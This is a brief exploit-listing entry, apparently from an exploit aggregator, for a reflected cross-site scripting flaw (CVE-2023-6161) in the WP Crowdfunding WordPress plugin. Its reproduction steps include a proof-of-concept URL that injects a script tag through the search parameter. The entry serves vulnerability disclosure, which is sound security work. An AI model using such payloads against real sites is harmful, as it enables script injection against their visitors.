Exploit for WP Crowdfunding < 2.1.9 - Reflected XSS CVE-2023-6161

Name: Exploit for WP Crowdfunding < 2.1.9 - Reflected XSS CVE-2023-6161
Rating: 5 (61 reviews)

2023-12-14 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:CA7B6A39-A910-4B4F-B9CC-BE444EC44942
1. Add a "Campaign Search" widget to your site (via Appearance > Customise > Widgets for example)
2. Access the URL: https://www.example.com/?s="><script>alert(/XSS/)</script>&post_type=product&product_type=croudfunding
3. See the XSS.